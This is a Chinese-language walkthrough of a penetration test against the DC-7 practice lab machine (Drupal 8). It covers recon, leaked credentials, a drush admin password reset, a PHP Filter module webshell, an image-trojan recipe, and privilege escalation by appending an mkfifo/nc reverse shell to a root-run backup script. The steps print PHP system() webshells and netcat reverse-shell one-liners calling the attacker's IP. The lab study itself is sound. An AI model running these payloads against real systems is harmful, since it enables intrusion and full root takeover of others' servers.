DC-7 渗透测试

冲冲冲,好好学习 。对管道符的理解加深了好多。最后提权时,遇到了点麻烦。想不懂一条命令为啥能执行生效,耗了一整天才算解决掉。

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.138

网络模式:NAT

netdiscover

172.66.66.138

dirb http://172.66.66.138

nmap -sV -A -p- 172.66.66.138

22端口 OpenSSL 7.4p1 ;80端口 Drupal 8 ;能看到robots.txt

访问一下观察研究网站页面,

有一个搜索框,还发现左下角的 @DC7USER,这个是什么东西,好陌生。百度一下



于是找到这个东西,进去把源码down了下来,那就代码审计咯

(好一个脚本小子...)一个个去看看,显示文件包含漏洞出在 footer标签里,标签定义文档或者文档的一部分区域的页脚。<footer> 元素应该包含它所包含的元素的信息。

在典型情况下,该元素会包含文档创作者的姓名、文档的版权信息、使用条款的链接、联系信息等等。

在一个文档中,您可以定义多个<footer>元素。

​ 代码含义:先定义了变量$file = 'contact-info.php' ,再判断 变量对应的文件是或存在,存在则包含,否则 通过 _GET[ ] 获取$file的值,不经过滤直接包含变量进来。从代码逻辑上看,仿佛没毛病,要执行的前提是预定义的变量$file = 'contact-info.php' 不存在。

​ 哈哈哈哈哈脑子进水了.....敲一下自己。一上来傻乎乎的审计,配置文件这么重要都不看完,在config.php里看到了数据库账号密码

$username = "dc7user";
$password = "MdR3xOgB7#dW";

登录失败,记得开了22端口,试试ssh登录。

登录成功,提示有新邮件,在``/var/mail/`查看 mbox ,好长的内容

是个备份的内容,/opt/scripts/backups.sh

目标文件所有者是 root ,所属组 是www-data,

当前用户:输入 id

uid=1000(dc7user) #当前用户的 唯一标识 uid 1000

gid=1000(dc7user) #当前用户的 所属组 dc7user

groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # 属于的其他组

当前用户是backups.sh的其他人,权限只有 r w读写。仿佛这些发现没用,放弃,找下一个思路。

出来挨打 >.<

“所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????

获得的主要信息:

Shell脚本文件 /opt/scripts/backups.sh

数据库文件:/home/dc7user/backups/website.sql

网站数据: /home/dc7user/backups/website.tar.gz

可见.gpg后缀,文件是经过加密的(为什么我没有想到破解呢???自己反省一下)。有俩比较陌生的命令 drush 和 gpg(一种加密方式)。百度一圈得知可用 drush来修改任意用户的密码drush user-password 用户名 --password="密码"

想到爆破没?可以去试试,gpg秘钥解密PickYourOwnPassword(backup.sh中找到)。但是爆破完,里面也获得不到有用的信息。

backups.sh中我们看到,使用drush备份数据库的时候,先切换目录至/var/www/html,所以我们也先切换目录至/var/www/html/ cd 到/var/www/html 下使用,(盲猜的后台管理员账号 admin ,在登录页面,输入不存在的账号,会提示该账号未注册。)

改完密码,登录试试,登进去之后

寻找可利用的地方,

此处的代码没有被解析,只原样输出了,绕过无果。再找找其他看

有图片上传框,想到图片马?

如何制作图片马还记得吗?

windows下,先准备两个 文件:tupian.png ma.php

打开cmd ,在当前路径下执行:copy tupian.png/b+ma.php/a new.png

/b是以二进制格式复制/合并文件,适用于图片或者声音类文件。

/a是指定ascii格式复制/合并文件,适用于txt等文本类型。

传上去了,但是菜刀连接不上,我马呢?能确认上传路径是没有错的,那是为什么呢,

没有cookie吗?登录一下网页再试试

浏览网页,admin登录,再次尝试连接一句话,仍然失败。图片没有执行吗?思路断。

记得前面的靶机中,drupal有个模块可以执行php代码来着。

寻找cms中模块安装功能在哪,百度寻找该cms存在漏洞的功能模块等,尝试安装存在漏洞的功能模块/主题/插件,最后通过其漏洞实现侵入。

在线下载安装,或者本地上传模块安装。drupal官网找找模块在哪,当前drupal为8.7.6版本。

在此处下载PHP Filter模块http://drupal.org/project/php,上图可见,下载的应该是 .gz文件,服务器linux的压缩文件也应该是 .gz

执行成功,尝试提权。

  1. <?php system("nc -e /bin/bash 172.66.66.129 8888");?>

  2. <?php system("$_GET['a']");?> 再访问:http://172.66.66.138/node/6?a=nc -e /bin/bash 127.0.0.1 8888

python 交互shellpython -c 'import pty;pty.spawn("/bin/bash")'

然后呢?思路感觉又断了 >.< 看了下大佬们的wp,抄来了这条一寸长的命令。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f" >> backups.sh 往backups.sh里 追加 地写入这个命令,拆分一下理解理解

rm /tmp/f;	   

mkfifo /tmp/f;   

cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

​ cat /tmp/f 取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为 输入 ,输入给 /bin/sh ,再将bash 的标准错误输出 也作为标准输入 (2 >&1)给bash ,然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。

​ 原理上讲也没啥难度,跟之前写的fantanshell笔记里的都一样,换个方式唯一,核心道理一模一样。

但是有个疑问:为啥执行这命令后,nc反弹的shell,是root权限? 是哪里导致的身份成了 root ?

当前用户是 www-data ,backups.sh所有者是root,所属组是www-data

-rwxr-xr-x 1 root root 64K Feb 22 2017 /usr/bin/mkfifo 命令的权限也没有suid呢?

为什么呢?下面是 backups.sh脚本的内容

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

想不懂一个问题,---------------------------------------------------------------------------------------------------------------------------------------

当前登录用户为 www-data ,id 显示是uid=33(www-data) gid=33(www-data) groups=33(www-data)

现在有个脚本 backups.sh ,权限是 -rwx rwx r-x root www-data

脚本内容是:

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

提权方式 是,在脚本末尾追加写入 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.66.66.138 8888 >/tmp/f (命令内容我能理解),写入完成后再执行,开启监听,反弹回来的shell ,就是root权限了。

问题:为什么反弹回来的权限是 root 的?当前用户是 www-data,这个身份执行 脚本,虽然脚本的所有者是root,但好像这个脚本没有suid权限,为啥反弹回来的shell 是root权限的?


​ 为了验证这个问题,(虽然还是没懂为什么,但是想看看究竟是不是这样子的)打开centos 写个脚本测试一下

tmp下随便写个脚本,改一下权限 775 ,改 所有者 为root 和 所属组为zhaocancheng ,脚本内容为验证执行时候的用户id 是否为root ,是root的话就echo。

执行结果并不是root,这就很迷了呀,为啥子哩.....

所以我可以认为,靶机上的脚本运行后能获得 root 权限,跟 文件本身的权限 -rwx rwx r-x root www-data无关吗?我觉得可以... 那难道是 靶机脚本里命令的缘故吗?脚本中使用的命令有 drush、tar、gpg、chown,也能确认跟这些命令没关系...

晚上洗澡忽然想到,上面的centos里的操作,逻辑上不对,得先把账号加入那个组才可以接着下面的步骤。

最后换个思路思考,研究了下脚本里的命令,发现 chown 是只有root才能执行,然而脚本里有这条命令,并且这个提权方式是可行的(已有成功的)。自己本地尝试的时候,普通账号(及时在所属组里)是无法执行脚本的,会报错,提示不允许的操作。

那所以在靶机中,脚本在执行的时候,是root身份在执行了脚本,所以再追加进去的nc 反弹回来才是 root,会不会是 root的计划任务,定期以root身份执行脚本,顺利提权root ,无奈当前用户www-data 无法查看 root 下的计划任务。

最后知道,那个 追加进去的命令好像是 msf 的......


嗯? 磁盘没空间? df -i 看到也没有满呀。啊?打开backups.sh看看

噢噢还真的是说磁盘满了.....然鹅并没有满呀,上面也看到了呀,好吧我电脑也就256G ,确实是满了...

几天后回来想到,这应该是 msf生成的反弹shell后门,需要msf的环境才能执行成功。

最后

  1. 感觉学到的东西越来越少了,多回顾以前学过的知识,代码审计生疏了好多好多...
  2. linux用户可以属于多个“组”,
  3. 看到特殊脚本,打开进去好好看,研究看,仔细看,看,看,看,
  4. Drush 是Drupal的命令行shell和Unix脚本接口,用于管理druoal网站。当新网站忘记密码,想重置密码,这时候服务器上刚好装着 Drush ,那么恭喜:drush user-password 用户名 --password="密码"
  5. gpg 一种加密方式,linux可以安装使用。加密解密也是个知识点。
  6. 我马呢?我马呢?
  7. 为什么一句话的图片木马能起效果?原理是什么
  8. “所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????
  9. mkfifo 开心,学到了个神奇的命令。笔记放在另外的地方,篇幅有点长,就不放这里了。

DC-7 靶机渗透测试的更多相关文章

  1. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  2. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  3. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. DC-8 靶机渗透测试

    DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...

  6. DC-6 靶机渗透测试

    DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...

  7. DC-4 靶机渗透测试

    DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. 复习Spring第四课---Spring对国际化的支持

    其实国际化这东西很少使用,之前也就是粗略的学了下,趁今天有空,拿出来稍微写写.以前学android开发的时候,类似于多语言的版本.差别就是一个是手机打开,一个是浏览器打开,本质是一样的. 在Sprin ...

  2. OpenResty高并发

    在电商项目中所有的访问都是通过首页访问进去的,那么首页门户的访问频率会是非常高的,用我们专业术语来说就是并发量高,这时问题就来了,并发量高我们在做程序时就要保证首页的抗压能力强,而且还要保证抗压的同时 ...

  3. testt

    一级标题 二级标题 三级标题 四级标题 l 1

  4. 6.11、制作windos虚拟机

    1.下载kvm支持windows系统的驱动程序: cd /tmp/ wget https://fedorapeople.org/groups/virt/virtio-win/direct-downlo ...

  5. AcWing 239. 奇偶游戏

    小A和小B在玩一个游戏. 首先,小A写了一个由0和1组成的序列S,长度为N. 然后,小B向小A提出了M个问题. 在每个问题中,小B指定两个数 l 和 r,小A回答 S[l~r] 中有奇数个1还是偶数个 ...

  6. log4j配置相对路径实现日志记录

    从网上简单搜索了一下,发现有三种介绍的方法.总结在这里1. 解决的办法自然是想办法用相对路径代替绝对路径,其实log4j的FileAppender本身就有这样的机制,如: log4j.appender ...

  7. MySql数据库缓存

    对MySql查询缓存及SQL Server过程缓存的理解及总结 一.MySql的Query Cache 1.Query Cache   MySQL Query Cache是用来缓存我们所执行的SELE ...

  8. Docker原理:Namespace

    目录 Namespace UTS Namespae PID Namespace Mount Namespace User Namespace Network Namespace 参考 Namespac ...

  9. String、StringBuilder和StringBuffer的比较

    目录 1.String特性 1.1 不可变 1.2 字符串常量池 2.StringBuilder和StringBuffer 2.1 区别 2.2 应用场景 1.String特性 1.1 不可变 它是I ...

  10. python 列表指导式

    >>> a=[page for page in range(10)]>>> print (a)[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]>& ...